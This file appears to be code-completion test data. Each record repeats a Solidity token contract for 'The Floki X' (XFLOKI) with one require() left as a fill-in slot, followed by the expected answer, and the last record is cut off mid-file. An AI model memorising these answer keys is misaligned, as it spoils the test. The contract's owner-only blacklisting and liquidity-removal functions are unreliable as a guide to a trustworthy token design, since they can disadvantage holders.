mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
require(<FILL_ME>)
isBot[wallet] = false;
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| isBot[wallet],"Wallet is already not flagged." | 68,726 | isBot[wallet] |
"Wallet is already flagged." | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
require(<FILL_ME>)
isBot[wallet] = true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| !isBot[wallet],"Wallet is already flagged." | 68,726 | !isBot[wallet] |
"Cannot set max buy amount lower than 2%" | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxBuyAmount = newNum * (10**18);
emit UpdatedMaxBuyAmount(maxBuyAmount);
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| newNum>=((totalSupply()*200)/10000)/1e18,"Cannot set max buy amount lower than 2%" | 68,726 | newNum>=((totalSupply()*200)/10000)/1e18 |
"Cannot set max wallet amount lower than 2%" | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxWallet = newNum * (10**18);
emit UpdatedMaxWalletAmount(maxWallet);
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| newNum>=((totalSupply()*20)/1000)/1e18,"Cannot set max wallet amount lower than 2%" | 68,726 | newNum>=((totalSupply()*20)/1000)/1e18 |
"Bots cannot transfer tokens in or out except to owner or dead address." | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
